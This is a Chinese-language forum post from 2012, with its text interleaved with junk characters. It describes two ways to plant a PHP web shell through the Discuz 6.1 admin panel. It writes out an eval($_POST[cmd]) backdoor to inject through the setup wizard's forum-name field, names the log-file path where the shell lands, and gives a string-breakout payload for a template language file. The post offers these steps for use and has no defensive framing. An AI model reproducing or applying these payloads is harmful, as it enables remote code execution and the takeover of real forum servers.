discuz6.1两种方法后台拿shell
; f5 @7 O6 [+ I: ?! H9 V好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下$ H& z' X- F: k1 j2 P% x
1:2 `8 w2 y; S9 n1 o1 }3 J/ L" \
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
+ k. E7 @! K" I4 [admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell; u& m) y* f4 L" Q0 X
<?php eval($_POST[cmd]);?>
- l+ W+ f+ [5 R) H) u# x3 y1 r* ^后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php8 |) r- }' n) ?% B: V
) D3 S1 x6 k! a# b5 v* }' _" _
7 ?! r8 O7 {3 r& u }: v* d2:后台模板管理--默认模板套系--详情
3 T- }2 U& E* Itemplates/default/actions.lang.php% M& U7 q5 u% \: [# L2 y8 }+ y3 u
jhackj\\');eval($_POST[cmd])?>;//
. _) J) }1 D1 Z# \2 v" P4 U/ b7 @. S5 G! ?/ _9 h. N2 n# e
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对